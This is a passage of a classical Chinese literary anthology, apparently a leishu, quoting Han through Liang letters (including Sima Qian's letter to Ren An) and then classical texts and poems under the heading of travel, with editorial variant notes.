极 目 乎 千 里 . 何 春 心 之 可 伤 . 其 渚 宫 也 . 夹 江 带 阡 . 布 濩 井 田 . 通 逵 交 迸 . 高 门 接 连 . 人 腰 水 心 之 剑 . 家 给 火 耕 之 田 . 尔 乃 树 之 榛 栗 . 椅 桐 梓 漆 . 三 巴 黄 甘 . 千 户 朱 橘 . 矧 高 宴 于 城 隅 . 驻 五 马 而 踟 蹰 . 乃 有 青 琴 碧 玉 . 绛 树 绿 珠 . 西 河 王 豹 . 东 野 绵 驹 . 兰 缸 夕 燃 . 合 璧 斜 天 . 照 流 风 之 回 雪 . 映 出 水 之 初 莲 . 奉 信 珪 而 入 朝 . 驱 骏 驷 而 乘 轺 . 既 总 司 于 戍 旅 . 亦 兼 饰 于 丰 貂 . 幼 坟 籍 以 自 娱 . 迄 方 今 而 不 渝 . 云 气 芝 英 之 简 . 悬 针 倒 薤 之 书 . 拟 河 献 之 留 真 . 希 淳 于 之 席 珍 . 临 秋 水 之 至 乐 . 登 春 台 而 目 欣 . 凿 户 牖 而 长 望 . 混 木 雁 而 兼 陈 . 嗟 今 来 而 古 往 . 聊 绝 笔 于 获 麟 .\n又 言 志 赋 曰 . 天 文 既 表 . 人 文 可 观 . 知 负 扆 之 来 易 . 信 握 镜 之 云 难 . 差 立 极 而 补 天 . 验 璧 合 而 珠 连 . 有 庖 羲 之 八 索 . 称 朱 襄 之 五 弦 . 闻 夏 王 之 铸 鼎 . 重 农 皇 之 播 田 . 虽 车 轨 之 未 同 . 亶 弥 媿 于 栋 隆 . 戮 封 豕 于 海 内 . 斩 长 狄 于 区 中 . 怀 宿 昔 之 玙 璠 . 并 来 游 于 菟 园 . 悲 元 瑜 之 已 逝 . 叹 灵 光 之 独 存 . 想 延 宾 于 北 阁 . 因 置 酒 于 南 轩 . 闻 鹦 鸣 而 怀 友 . 听 长 笛 其 何 言 . 夙 有 尚 于 清 静 . 叨 再 ● ○ 原 坏 作 ● . 疑 是 驻 字 . 于 鄢 郢 . 东 窥 文 命 之 穴 . 南 望 鸿 崖 之 井 . 遂 抚 运 而 登 庸 . 谬 垂 旒 而 卷 领 . 虽 有 愧 于 前 英 . 每 求 衣 于 未 明 . 召 司 烜 而 照 夜 . 观 执 珪 而 满 庭 . 诚 虽 休 以 勿 休 . 寔 旨 酒 之 忘 忧 . 绝 何 杨 之 妙 舞 . 废 绵 驹 之 善 讴 . 彼 知 止 与 知 足 . 复 何 营 而 何 欲 . 柱 何 用 于 黄 金 . 案 宁 劳 于 青 玉 . 尔 乃 高 步 北 园 . 用 荡 嚣 烦 . 桂 偃 蹇 而 临 栋 . 石 穹 隆 而 架 门 . 对 灌 木 之 脩 耸 . 观 激 水 之 飞 奔 . 涧 不 风 而 自 响 . 天 无 云 而 昼 昏 . 闻 宾 鸿 之 夜 飞 . 想 过 沛 而 沾 衣 . 况 登 楼 而 作 赋 . 望 怀 海 而 思 归 .\n【 书 】 汉 司 马 迁 报 任 安 书 曰 . 仆 亦 尝 厕 下 大 夫 之 列 . 陪 奉 外 廷 末 议 . 不 以 此 时 . 引 维 纲 . 尽 思 虑 . 今 已 亏 形 为 埽 除 之 隶 . 在 阘 茸 之 中 . 乃 欲 仰 首 伸 眉 . 论 列 是 非 . 不 亦 轻 朝 廷 羞 当 世 之 士 邪 . 仆 与 李 陵 . 俱 居 门 下 . 素 非 相 善 也 . 趋 舍 异 路 . 未 尝 衔 杯 酒 . 接 殷 勤 之 余 欢 . 今 举 事 一 不 当 . 而 全 躯 保 妻 子 之 臣 . 随 而 媒 其 短 . 仆 诚 私 心 痛 之 . 且 李 陵 提 步 卒 . 不 满 五 千 . 深 践 戎 马 之 地 . 矢 尽 道 穷 . 救 兵 不 至 . 士 卒 死 伤 如 积 . 然 李 陵 一 呼 劳 军 . 士 卒 无 不 起 . 张 空 拳 . 冒 白 刃 . 北 向 争 死 敌 者 . 愚 以 为 李 陵 素 与 士 大 夫 绝 甘 分 少 . 能 得 人 之 死 力 . 虽 古 名 将 不 过 也 . 身 虽 陷 败 . 亦 足 以 曝 于 天 下 也 . 适 会 召 问 . 即 以 此 指 . 推 言 陵 之 功 . 欲 以 广 主 上 之 意 . 塞 睚 之 辞 . 未 能 尽 明 . 明 主 不 晓 . 以 为 仆 沮 贰 师 . 而 为 李 陵 游 说 . 遂 下 于 理 . 奉 拳 拳 之 忠 . 终 不 自 明 . 交 游 莫 救 视 . 左 右 亲 近 不 为 一 言 . 身 非 木 石 . 独 与 法 吏 为 伍 . 深 幽 囹 圄 之 中 . 谁 可 告 愬 者 . 此 真 少 卿 所 亲 见 . 仆 行 事 岂 不 然 乎 . 且 夫 臧 获 婢 妾 . 犹 能 引 决 . 况 仆 之 不 得 已 乎 . 所 以 隐 忍 苟 活 . 身 函 粪 土 之 中 而 不 辞 者 . 鄙 没 世 而 文 采 不 表 于 后 世 也 . 古 者 富 贵 而 名 磨 灭 . 不 可 胜 记 . 唯 倜 傥 非 常 之 人 称 焉 . 盖 西 伯 拘 而 演 周 易 . 仲 尼 厄 而 作 春 秋 . 屈 原 放 逐 . 乃 赋 离 骚 . 左 丘 失 明 . 厥 有 国 语 . 孙 子 膑 脚 . 兵 法 修 列 . 不 韦 迁 蜀 . 世 传 吕 览 . 韩 非 囚 秦 . 说 难 孤 愤 . 诗 三 百 篇 . 大 抵 贤 圣 发 愤 之 所 为 作 也 . 仆 窃 不 逊 . 近 自 托 于 无 能 之 辞 . 网 罗 天 下 放 失 旧 闻 . 略 考 其 行 事 . 综 其 终 始 . 稽 其 成 败 兴 坏 之 纪 . 欲 以 究 天 地 之 际 . 通 古 今 之 变 . 成 一 家 之 言 . 惜 其 不 成 . 是 以 就 极 刑 而 无 愠 色 . 仆 诚 已 着 此 书 . 藏 之 名 山 . 传 之 其 人 . 通 邑 大 都 . 则 仆 偿 前 辱 之 责 . 虽 万 被 戮 . 岂 有 悔 哉 . 然 此 可 为 智 者 道 . 难 为 俗 人 言 也 .\n汉 杨 恽 报 孙 会 宗 书 曰 . 恽 家 方 隆 盛 时 . 乘 朱 轮 者 五 十 人 . 位 在 列 卿 . 爵 为 通 侯 . 总 领 从 官 . 与 闻 政 事 . 曾 不 能 以 此 时 有 所 建 明 . 以 宣 德 化 . 已 负 窃 位 素 餐 之 责 久 矣 . 怀 禄 贪 势 . 不 能 自 退 . 遂 遭 变 故 . 横 被 口 语 . 身 幽 北 阙 . 妻 子 满 狱 . 当 此 之 时 . 自 以 夷 灭 不 足 以 塞 责 . 岂 意 得 全 首 领 . 复 奉 先 人 之 丘 墓 乎 . 伏 惟 圣 主 之 恩 . 不 可 胜 量 . 君 子 游 道 . 乐 以 忘 忧 . 小 人 全 躯 . 悦 以 忘 罪 . 窃 自 思 念 . 过 已 久 矣 . 行 已 亏 矣 . 长 为 农 夫 . 以 没 世 矣 . 是 故 身 奉 ○ 文 选 四 十 一 作 率 . 妻 子 . 戮 力 耕 桑 . 灌 田 治 产 . 以 给 公 上 . 不 意 当 复 用 此 为 讥 议 也 . 田 家 作 苦 . 岁 时 伏 腊 . 烹 羊 炮 羔 . 斗 酒 自 劳 . 家 本 秦 地 . 能 为 秦 声 . 妇 赵 女 也 . 雅 善 鼓 瑟 . 奴 婢 歌 者 数 人 . 酒 后 耳 热 . 仰 天 抚 缶 而 呼 呜 呜 . 其 诗 曰 . 田 彼 南 山 . 芜 秽 不 治 . 种 豆 一 顷 . 落 而 为 萁 . 人 生 行 乐 耳 . 须 富 贵 何 时 . 是 日 也 . 拂 衣 而 喜 . 奋 袖 低 昂 . 顿 足 起 舞 . 诚 淫 荒 无 度 . 不 知 其 不 可 也 . 恽 幸 有 余 禄 . 方 籴 贱 贩 贵 . 逐 什 一 之 利 . 下 流 之 人 . 众 毁 所 归 . 不 寒 而 栗 . 虽 雅 知 惮 者 . 犹 随 风 而 靡 . 尚 何 称 誉 之 有 . 道 不 同 . 不 相 为 谋 . 今 子 尚 安 得 以 卿 大 夫 之 制 而 责 仆 哉 .\n魏 文 帝 与 吴 质 书 曰 . 季 重 无 恙 . 涂 路 虽 局 . 官 守 有 限 . 愿 言 之 怀 . 良 不 可 任 . 足 下 所 治 僻 左 . 书 问 致 简 . 益 用 增 劳 . 每 念 昔 日 南 皮 之 游 . 诚 不 可 忘 . 既 妙 思 六 经 . 逍 遥 百 氏 . 弹 琴 闲 设 . 终 以 博 弈 . 高 谈 娱 心 . 哀 筝 顺 耳 . 驰 骋 北 场 . 旅 食 南 馆 . 浮 甘 瓜 于 清 泉 . 沉 朱 李 于 寒 水 . 白 日 既 匿 . 继 以 朗 月 . 同 乘 共 载 . 以 游 后 园 . 舆 轮 徐 动 . 宾 从 无 声 . 清 风 夜 起 . 悲 笳 微 吟 . 乐 往 哀 来 . 怆 然 伤 怀 . 余 顾 而 言 . 斯 乐 难 常 . 足 下 之 徒 . 咸 以 为 然 . 今 果 分 别 . 各 在 一 方 . 元 瑜 长 逝 . 化 为 异 物 . 每 一 念 至 . 何 时 可 言 . 方 今 蕤 宾 纪 时 . 景 风 扇 物 . 天 意 和 暖 . 众 果 具 繁 . 时 驾 而 遨 . 北 遵 河 曲 . 从 者 鸣 笳 以 启 路 . 文 学 托 于 后 车 . 节 同 时 异 . 物 是 人 非 . 我 劳 如 何 .\n又 曰 . 昔 日 游 处 . 行 则 连 舆 . 立 则 接 席 . 何 曾 须 臾 相 失 . 每 至 觞 酌 流 行 . 丝 竹 并 奏 . 酒 酣 耳 热 . 仰 而 赋 诗 . 当 此 之 时 . 忽 然 不 自 知 乐 也 . 何 图 数 年 之 间 . 零 落 略 尽 . 言 之 伤 心 . 顷 撰 其 遗 文 . 都 为 一 集 . 观 其 姓 名 . 已 为 鬼 录 . 追 思 昔 游 . 犹 在 心 目 . 而 此 诸 子 . 化 为 粪 壤 . 可 复 道 哉 . 历 览 诸 子 之 文 . 对 之 收 泪 . 既 痛 逝 者 . 行 自 念 也 . 年 行 已 长 大 . 所 怀 万 端 . 时 有 所 虑 . 至 乃 通 夕 不 暝 . 志 意 何 时 复 类 往 昔 邪 . 已 成 老 翁 . 但 未 白 头 尔 .\n魏 陈 王 曹 植 与 吴 质 书 曰 . 前 日 虽 因 常 调 . 得 为 密 坐 . 虽 宴 饮 弥 日 . 其 于 别 远 会 稀 . 不 尽 其 劳 积 也 . 若 夫 觞 酌 凌 波 于 前 . 笳 箫 发 音 于 后 . 足 下 鹰 扬 其 体 . 凤 翔 虎 视 . 谓 萧 曹 不 足 俦 . 卫 霍 不 足 侔 也 . 左 顾 右 盻 . 谓 若 无 人 . 岂 若 吾 子 之 壮 志 哉 . 过 屠 门 而 大 嚼 . 虽 不 得 肉 . 贵 且 快 意 . 当 斯 之 时 . 愿 举 太 山 以 为 肉 . 齐 东 海 以 为 酒 . 伐 云 梦 之 竹 以 为 笛 . 斩 泗 滨 之 梓 以 为 筝 . 食 若 填 巨 壑 . 饮 若 灌 漏 卮 . 其 乐 固 难 量 . 岂 非 大 丈 夫 之 乐 哉 . 然 日 岁 不 我 与 . 曜 灵 急 节 . 面 有 逸 景 之 速 . 别 有 参 商 之 阔 . 思 抑 六 龙 之 首 . 顿 羲 和 之 辔 . 折 若 木 之 华 . 闭 濛 汜 之 谷 . 天 路 高 邈 . 良 无 由 缘 .\n魏 吴 质 答 太 子 书 曰 . 奉 读 手 命 . 追 亡 虑 存 . 恩 哀 之 隆 . 形 于 文 墨 . 日 月 冉 冉 . 岁 不 我 与 . 昔 侍 左 右 . 厕 坐 众 贤 . 出 有 微 行 之 游 . 入 有 管 弦 之 欢 . 置 酒 乐 饮 . 赋 诗 称 寿 . 自 谓 可 终 始 相 保 . 并 聘 材 力 . 效 节 明 主 . 何 意 数 年 之 闲 . 死 丧 略 尽 . 臣 独 何 德 . 以 堪 久 长 . 徐 陈 刘 应 . 才 学 所 着 . 诚 如 来 命 . 惜 其 不 遂 . 可 谓 痛 切 . 凡 此 数 子 . 于 雍 容 侍 从 . 实 其 人 也 . 若 乃 边 境 有 虞 . 群 下 鼎 沸 . 军 书 辏 至 . 羽 檄 交 驰 . 于 彼 诸 贤 . 非 其 任 矣 . 往 者 孝 武 之 世 . 文 章 为 盛 . 若 东 方 朔 枚 皋 之 徒 . 不 能 持 论 . 即 阮 陈 之 流 也 . 其 唯 严 助 寿 王 . 与 闻 政 事 . 然 皆 不 损 其 身 . 善 谋 于 国 . 卒 以 败 亡 . 臣 窃 耻 之 . 至 于 司 马 长 卿 . 称 疾 避 事 . 以 着 撰 为 务 . 则 徐 生 庶 几 焉 . 而 今 各 逝 . 已 为 异 物 .\n又 答 陈 思 王 曹 植 书 曰 . 信 到 . 奉 所 惠 贶 . 发 函 伸 纸 . 是 何 文 采 之 巨 丽 . 而 慰 喻 之 绸 缪 乎 . 夫 登 东 岳 者 . 然 后 知 众 山 之 迤 逦 也 . 奉 至 尊 . 然 后 知 百 里 之 卑 微 也 . 身 贱 犬 马 . 德 轻 鸿 毛 . 至 乃 历 玄 关 . 排 金 门 . 升 玉 堂 . 伏 棂 槛 于 前 殿 . 临 曲 池 而 行 觞 . 既 威 仪 亏 替 . 言 辞 漏 泄 . 虽 恃 平 原 养 士 之 懿 . 愧 无 毛 遂 耀 颖 之 才 . 深 蒙 薛 公 折 节 之 礼 . 而 无 冯 谖 三 窟 之 效 . 屡 获 信 陵 虚 左 之 德 . 又 无 侯 生 可 述 之 美 . 凡 此 数 者 . 乃 质 之 所 以 愤 积 于 胸 襟 . 怀 眷 而 于 邑 者 也 . 若 追 前 宴 . 谓 之 未 究 . 欲 倾 海 为 酒 . 并 山 为 肴 . 伐 竹 云 梦 . 斩 梓 泗 滨 . 然 后 极 雅 意 . 尽 欢 情 . 信 公 子 之 壮 观 . 非 鄙 人 之 所 庶 几 也 . 若 质 之 志 . 实 在 所 天 . 思 投 印 释 黻 . 朝 夕 侍 坐 . 钻 仲 父 之 遗 训 . 览 老 氏 之 要 言 . 对 清 酤 而 不 酌 . 抑 嘉 肴 而 不 享 . 使 西 施 出 帷 . 嫫 母 侍 侧 . 斯 盛 德 之 所 蹈 . 明 哲 之 所 保 也 . 若 乃 近 者 之 观 . 实 荡 鄙 心 . 秦 筝 发 徽 . 二 八 迭 奏 . 埙 箫 激 于 华 屋 . 灵 鼓 动 于 坐 左 . 耳 嘈 嘈 而 无 闻 . 情 踊 跃 于 鞍 马 . 谓 可 北 慑 肃 慎 . 使 贡 其 楛 矢 . 南 震 百 越 . 使 献 其 白 雉 . 又 况 权 备 . 夫 何 足 视 乎 . 还 治 讽 集 所 着 . 观 省 英 玮 . 实 赋 颂 之 宗 . 作 者 之 师 表 也 .\n晋 羊 祜 与 从 弟 书 曰 . 吾 以 布 衣 . 忝 荷 重 任 . 每 以 尸 素 为 愧 . 大 命 既 隆 . 唯 江 南 未 夷 . 此 人 臣 之 责 . 是 以 不 量 所 能 . 毕 力 吴 会 . 当 凭 朝 廷 之 威 . 赖 士 大 夫 之 谋 . 以 全 克 之 举 . 除 万 世 之 患 . 年 已 朽 老 . 既 定 边 事 . 当 有 角 巾 东 路 . 还 归 乡 里 . 于 坟 墓 侧 . 为 容 棺 之 墟 . 假 日 视 息 . 思 与 后 生 味 道 . 此 吾 之 至 愿 也 . 以 凡 才 而 居 重 位 . 何 能 不 惧 盈 满 以 责 邪 . 疏 广 吾 师 也 . 圣 主 明 恕 . 当 不 夺 微 志 尔 .\n晋 刘 琨 答 卢 谌 书 曰 . 书 及 诗 . 备 辛 酸 之 苦 言 . 畅 经 通 之 远 旨 . 执 玩 反 覆 . 不 能 释 手 . 慨 然 以 悲 . 欢 然 以 喜 . 昔 在 少 壮 . 未 当 检 括 . 远 咏 老 庄 之 齐 物 . 近 嘉 阮 生 之 放 旷 . 怪 厚 薄 何 由 而 生 . 哀 乐 何 由 而 至 . 自 顷 诪 张 . 困 于 逆 乱 . 国 破 家 亡 . 亲 友 凋 残 . 块 然 独 处 . 愧 愤 云 集 . 负 杖 行 吟 . 则 百 忧 俱 至 . 时 复 相 与 . 举 觞 对 膝 . 破 涕 为 笑 . 排 终 身 之 积 惨 . 求 数 刻 之 蹔 欢 . 譬 由 疾 疹 弥 年 . 而 欲 以 一 丸 销 之 尔 . 夫 才 生 于 世 . 而 世 实 须 才 . 和 氏 之 璧 . 焉 得 独 曜 于 郢 握 . 夜 光 之 珠 . 无 缘 得 玩 于 随 掌 . 天 下 之 宝 . 固 当 与 天 下 共 之 . 但 离 索 之 日 . 不 能 不 以 怅 恨 尔 .\n齐 谢 朏 与 王 俭 书 曰 . 夫 所 贵 天 下 之 士 者 何 . 其 上 则 閟 景 山 壑 . 凌 气 风 霞 . 次 则 投 缗 舍 筑 . 郁 为 上 佐 . 次 则 服 秦 楚 而 辞 其 功 . 振 燕 魏 而 逃 其 赏 . 凡 此 数 辈 . 皆 英 懿 之 士 也 . 自 兹 已 降 . 参 差 万 绪 . 或 迹 着 明 晦 . 或 才 兼 默 语 . 若 桓 谭 之 褰 俗 . 冯 衍 之 忤 时 . 北 海 之 凝 峭 . 中 散 之 峻 绝 . 率 以 方 寸 之 情 . 丧 不 訾 之 德 . 盖 无 取 焉 . 若 相 如 之 爱 奇 . 任 伟 长 之 淹 粹 弘 远 . 乐 广 融 通 . 裴 楷 夷 淡 . 彼 四 贤 者 . 并 纯 神 绝 景 . 徇 物 伤 意 . 其 慕 之 而 未 可 以 言 . 但 心 之 所 暗 . 咫 尺 千 里 . 志 之 所 符 . 沧 洲 暧 然 . 揣 而 论 之 . 寔 山 河 之 不 肖 者 也 .\n梁 简 文 帝 答 徐 摛 书 曰 . 山 涛 有 云 . 东 宫 养 德 而 已 . 但 今 与 古 殊 . 时 有 监 抚 之 务 . 竟 不 能 黜 邪 进 善 . 少 助 国 章 . 献 可 替 不 . 仰 裨 圣 政 . 以 此 惭 遑 . 无 忘 夕 惕 . 驱 驰 五 岭 . 在 戎 十 年 . 险 阻 艰 难 . 备 更 之 矣 . 观 夫 全 躯 具 臣 . 刀 笔 小 吏 . 未 尝 识 山 川 之 形 势 . 介 胄 之 勤 劳 . 细 民 之 疾 苦 . 风 俗 之 嗜 好 . 高 阁 之 闲 可 来 . 高 门 之 地 徒 重 . 玉 馔 罗 前 . 黄 金 在 握 . 足 訾 粟 斯 . 容 与 自 喜 . 亦 复 言 轩 羲 以 来 . 一 人 而 已 . 使 人 见 此 . 良 足 长 叹 .\n梁 王 僧 孺 与 何 逊 书 ○ 梁 书 王 僧 孺 传 作 何 炯 . 曰 . 昔 李 叟 入 秦 . 梁 生 适 越 . 犹 怀 恨 怅 . 且 或 吟 谣 . 况 歧 路 之 日 . 将 离 严 网 . 辞 无 可 怜 . 罪 有 不 测 . 所 以 握 手 恋 恋 . 离 别 珍 重 . 弟 爱 同 郭 李 . 淫 淫 承 睫 . 吾 犹 抗 手 分 背 . 羞 学 妇 人 . 顾 实 不 肖 . 文 质 无 所 抵 . 盖 困 在 衣 食 . 迫 于 饥 寒 . 非 有 奇 才 . 绝 略 高 谈 . 吐 一 言 可 以 匡 俗 振 民 . 动 一 议 可 以 固 邦 兴 国 . 全 璧 归 赵 . 飞 矢 投 燕 . 偃 息 藩 魏 . 甘 卧 安 郢 . 脑 日 逐 . 髓 月 支 . 拥 十 万 而 横 行 . 提 五 千 而 深 入 . 将 能 执 珪 裂 壤 . 功 勒 景 钟 . 锦 绣 为 衣 . 朱 丹 被 毂 . 斯 盖 大 丈 夫 之 志 . 非 吾 曹 之 所 能 及 . 除 旧 布 新 . 清 晷 方 旦 . 抱 乐 衔 图 . 讼 讴 有 主 . 一 旦 陪 武 帐 . 仰 文 . 备 聃 佚 之 柱 下 . 充 严 朱 之 席 上 . 入 班 九 棘 . 出 专 千 里 . 未 有 蹑 景 追 风 . 奔 骤 之 若 此 者 也 . 盖 基 薄 墙 高 . 涂 遥 力 踬 . 司 隶 懔 懔 . 思 得 应 弦 . 譬 悬 厨 之 兽 . 如 离 缴 之 鸟 . 将 充 庖 鼎 . 以 饵 鹰 鹯 . 虽 事 异 钻 皮 . 文 非 次 骨 . 犹 复 因 兹 舌 杪 . 成 此 笔 端 . 上 可 以 投 畀 北 方 . 次 可 以 论 谕 左 校 . 幸 圣 主 留 善 贷 之 德 . 纡 好 生 之 施 . 解 网 祝 禽 . 下 车 泣 罪 . 所 谓 还 魄 斗 极 . 追 风 奉 高 . 盖 士 无 贤 不 肖 . 在 朝 见 嫉 . 女 无 美 恶 . 入 宫 见 妒 . 外 无 奔 走 之 友 . 内 乏 彊 近 之 视 . 是 以 媾 市 之 徒 . 随 相 媒 . 一 朝 捐 弃 . 以 快 怨 者 之 心 . 吁 可 悲 矣 . 盖 先 贵 后 贱 . 古 富 今 贫 . 李 流 所 以 发 此 哀 音 . 雍 门 所 以 扣 其 悲 曲 . 又 迫 以 严 秋 杀 气 . 万 物 多 悲 . 长 夜 展 转 . 百 忧 俱 至 . 况 复 露 铺 草 色 . 风 摇 树 影 . 寒 虫 夕 叫 . 含 轻 重 而 同 悲 . 秋 叶 晚 伤 . 杂 黄 紫 而 俱 坠 . 悲 夫 . 岂 复 得 与 二 三 士 友 . 抗 首 接 膝 . 履 足 差 肩 . 摛 绮 縠 之 清 文 . 谈 希 夷 之 至 道 . 唯 吴 凭 之 遇 夏 馥 . 范 式 之 值 孔 嵩 . 愍 其 留 赁 . 怜 此 行 乞 尔 .\n又 答 江 琰 书 曰 . 猥 惠 嘉 音 . 用 蠲 疾 首 . 发 函 伸 纸 . 朗\n若 披 云 . 等 嶰 谷 之 清 音 . 比 洞 庭 之 高 曲 . 辞 则 美 矣 . 而\n拟 其 非 伦 . 譬 享 海 鸟 以 醇 醪 嘉 膳 . 栖 林 狖 以 崇 楹 曾 栱 .\n苟 非 其 实 . 立 有 惊 怖 . 况 复 以 一 离 诉 弃 . 宾 实 漼 然 . 岂\n复 能 使 一 笥 可 轻 . 八 厨 斯 引 . 且 登 清 汉 . 乍 弃 黄 污 . 望\n影 析 支 . 争 涂 再 楫 . 其 或 蹲 林 卧 石 . 籍 卉 班 荆 . 不 过 田\n畯 野 老 . 渔 父 樵 客 . 酌 醴 焚 枯 . 呜 呜 相 劳 . 羹 藜 含 糗 .\n果 然 满 腹 . 宁 有 幡 旗 贵 客 . 车 马 大 宾 . 献 书 尽 先 贤 之 德\n. 作 颂 罄 前 皇 之 美 . 岂 不 俯 拾 青 紫 . 坐 享 大 夫 . 况 复 咏\n高 梧 而 赋 脩 竹 . 背 清 淮 而 游 长 范 . 留 东 合 以 从 容 . 登 石\n室 而 高 视 . 岂 与 夫 身 没 名 陨 . 同 年 而 共 毁 誉 哉 .\n人 部 十 一 行\n旅\n易 曰 . 天 行 健 .\n又 曰 . 牝 马 地 类 . 行 地 无 疆 .\n又 曰 . 利 有 攸 往 .\n毛 诗 曰 . 周 大 夫 行 役 . 过 故 宗 庙 宫 室 . 尽 为 禾 黍 . 仿 徨 而 不 忍 去 .\n又 曰 . 行 迈 靡 靡 . 中 心 摇 摇 .\n又 曰 . 周 公 东 征 . 三 年 而 归 .\n又 曰 . 我 徂 东 山 . 慆 慆 不 归 . 我 来 自 东 . 零 雨 其 濛 .\n又 曰 . 我 行 其 野 . 芃 芃 其 麦 .\n又 曰 . 惠 而 好 我 . 携 手 同 行 .\n又 曰 . 行 道 迟 迟 . 中 心 有 违 .\n尚 书 曰 . 岁 二 月 . 东 巡 狩 . 至 于 岱 宗 . 五 月 . 南 巡 狩 . 至 于 南 岳 . 八 月 . 西 巡 狩 . 至 于 西 岳 . 十 有 一 月 . 北 巡 狩 . 至 于 北 岳 .\n左 氏 传 曰 . 不 有 居 者 . 谁 守 社 稷 . 不 有 行 者 . 许 扞 牧 圉 .\n又 曰 . 先 王 卜 征 五 年 . 岁 袭 其 祥 . 祥 习 乃 行 .\n又 曰 . 行 李 之 往 来 . 共 其 资 粮 屝 屦 . 其 可 也 .\n又 曰 . 凡 公 行 . 告 于 宗 庙 . 反 行 饮 至 . 舍 爵 策 勋 焉 . 礼 也 .\n又 曰 . 君 行 师 从 . 卿 行 旅 从 .\n又 曰 . 昔 周 穆 王 欲 肆 其 心 . 周 行 天 下 . 将 皆 必 有 车 辙 马 迹 焉 .\n礼 记 曰 . 行 则 有 随 . 立 则 有 序 . 行 而 无 随 . 则 乱 于 行 .\n庄 子 曰 . 黄 帝 将 见 大 隗 于 具 茨 之 山 . 方 明 为 驭 . 昌 寓 参 乘 . 于 襄 城 之 野 . 七 圣 皆 迷 . 适 遇 牧 马 童 子 . 问 涂 焉 .\n又 曰 . 黄 帝 游 乎 赤 水 之 池 . 登 于 昆 仑 之 丘 .\n又 曰 . 适 百 里 者 宿 粮 . 适 千 里 者 . 三 月 聚 粮 .\n家 语 曰 . 齐 人 归 女 乐 . 鲁 君 观 之 . 三 日 不 朝 . 孔 子 遂 行 .\n穆 天 子 传 曰 . 天 子 北 征 . 绝 漳 水 . 西 征 . 宾 于 王 母 . 天 子 觞 西 王 母 瑶 池 之 上 .\n史 记 曰 . 禹 乘 四 载 . 随 山 刊 木 . 山 行 乘 舆 . ○ 史 记 夏 本 纪 作 ● . 泥 行 乘 橇 . 陆 行 乘 车 . 水 行 乘 舟 .\n又 曰 . 老 子 居 周 . 久 之 . 见 周 之 衰 . 乃 遂 去 关 . 关 令 尹 喜 曰 . 子 将 隐 矣 . 喜 与 老 子 俱 之 流 沙 之 西 .\n又 曰 . 秦 始 皇 至 云 梦 . 望 祀 虞 舜 于 九 疑 . 浮 江 . 下 观 丹 阳 . 至 钱 唐 . 临 浙 江 . 上 会 稽 . 祭 大 禹 . 望 于 南 海 . 傍 海 . 北 至 琅 邪 . 汉 书 曰 . 武 帝 行 幸 雍 . 遂 北 出 萧 关 . 历 独 鹿 鸣 泽 . 自 代 而 还 .\n又 曰 . 行 幸 至 甘 泉 宫 . 宾 礼 外 国 客 .\n又 . 行 幸 东 海 . 获 赤 雁 .\n又 . 武 帝 南 巡 . 至 盛 唐 . 祀 虞 帝 于 九 疑 . 祭 天 柱 山 . 自 寻 阳 浮 江 . 斩 蛟 江 中 . 遂 北 至 琅 邪 . 傍 海 而 还 . 所 过 名 山 大 川 .\n又 曰 . 张 骞 为 郎 . 募 使 月 支 . 匈 奴 留 之 十 余 年 . 骞 持 汉 节 不 失 . 西 走 大 宛 . 抵 康 居 . 传 至 大 月 支 王 . 从 月 支 . 至 大 夏 . 穷 河 源 . 广 地 万 里 . 九 译 致 殊 俗 . 威 德 遍 于 四 海 .\n【 诗 】 古 诗 曰 . 驱 车 远 行 役 . 悠 悠 涉 长 道 . 四 顾 何 茫 茫 . 东 风 摇 百 草 . 所 遇 无 故 物 . 焉 得 不 速 老 .\n魏 文 帝 诗 曰 . 漫 漫 秋 夜 长 . 烈 烈 北 风 凉 . 展 转 不 能 寐 . 披 衣 起 仿 佯 . 俯 视 清 水 波 . 仰 看 明 月 光 . 郁 郁 多 愁 思 . 绵 绵 思 故 乡 . 愿 飞 安 得 翼 . 欲 济 河 无 梁 .\n又 于 明 津 作 诗 曰 . 遥 遥 山 上 亭 . 皎 皎 云 闲 星 . 远 望 使 心 怀 . 游 子 恋 所 生 . 驱 车 出 北 门 . 遥 望 河 阳 城 .\n魏 陈 王 曹 植 杂 诗 曰 . 悠 悠 远 行 客 . 去 家 千 余 里 . 出 亦 无 所 之 . 入 亦 无 所 止 . 浮 云 翳 日 光 . 悲 风 动 地 起 .\n又 曰 . 游 鱼 潜 渌 水 . 翔 鸾 薄 天 飞 . 始 出 严 霜 结 . 今 来 白 露 稀 .\n魏 阮 瑀 诗 曰 . 临 川 多 悲 风 . 秋 日 苦 清 凉 . 客 子 易 为 戚 . 感 此 用 哀 伤 . 揽 衣 起 踯 躅 . 上 观 心 与 房 . 三 星 守 故 次 . 明 月 未 收 光 . 鸡 鸣 当 何 时 . 朝 晨 尚 未 央 . 还 坐 长 叹 息 . 忧 忧 安 可 忘 .\n又 曰 . 我 行 自 凛 秋 . 季 冬 乃 来 归 . 置 酒 高 堂 上 . 友 朋 集 光 辉 . 念 当 复 离 别 . 涉 路 险 且 夷 . 思 虑 益 惆 怅 . 泪 下 沾 裳 衣 .\n晋 王 赞 诗 曰 . 朔 风 动 秋 草 . 边 马 有 归 心 . 昔 往 仓 庚 鸣 . 今 来 蟋 蟀 吟 . 人 情 怀 旧 乡 . 客 鸟 思 故 林 .\n晋 张 协 诗 曰 . 述 职 投 边 城 . 羁 束 戎 旅 闲 . 下 车 如 昨 日 . 望 舒 三 五 圆 . 流 波 恋 旧 浦 . 行 云 思 故 山 .\n晋 陆 机 赴 洛 诗 曰 . 总 辔 登 长 路 . 呜 咽 辞 密 亲 . 借 问 子 何 为 . 世 网 婴 我 身 . 永 叹 遵 北 渚 . 遗 思 结 南 津 .\n又 曰 . 远 游 越 山 川 . 山 川 脩 且 广 . 振 策 陟 崇 丘 . 按 辔 遵 平 莽 . 夕 息 抱 景 寐 . 朝 徂 衔 思 往 .\n又 尸 乡 亭 诗 曰 . 东 游 观 巩 洛 . 逍 遥 丘 墓 闲 . 秋 草 蔓 长 柯 . 寒 木 入 云 烟 . 发 轸 有 夙 晏 . 息 驾 无 愚 贤 .\n晋 湛 方 生 帆 入 南 湖 诗 曰 . 彭 蠡 纪 三 江 . 庐 岳 主 众 阜 . 白 沙 净 川 路 . 青 松 蔚 岩 首 . 此 水 何 时 流 . 此 山 何 时 有 . 人 运 互 推 迁 . 兹 器 独 长 久 . 悠 悠 宇 宙 中 . 古 今 迭 先 后 .\n又 还 都 帆 诗 曰 . 高 岳 万 丈 峻 . 长 湖 千 里 清 . 白 沙 穷 年 洁 . 林 松 冬 夏 青 . 水 无 暂 停 流 . 木 有 千 载 贞 . 寤 言 赋 新 诗 . 忽 忘 羁 客 情 .\n晋 成 公 绥 诗 曰 . 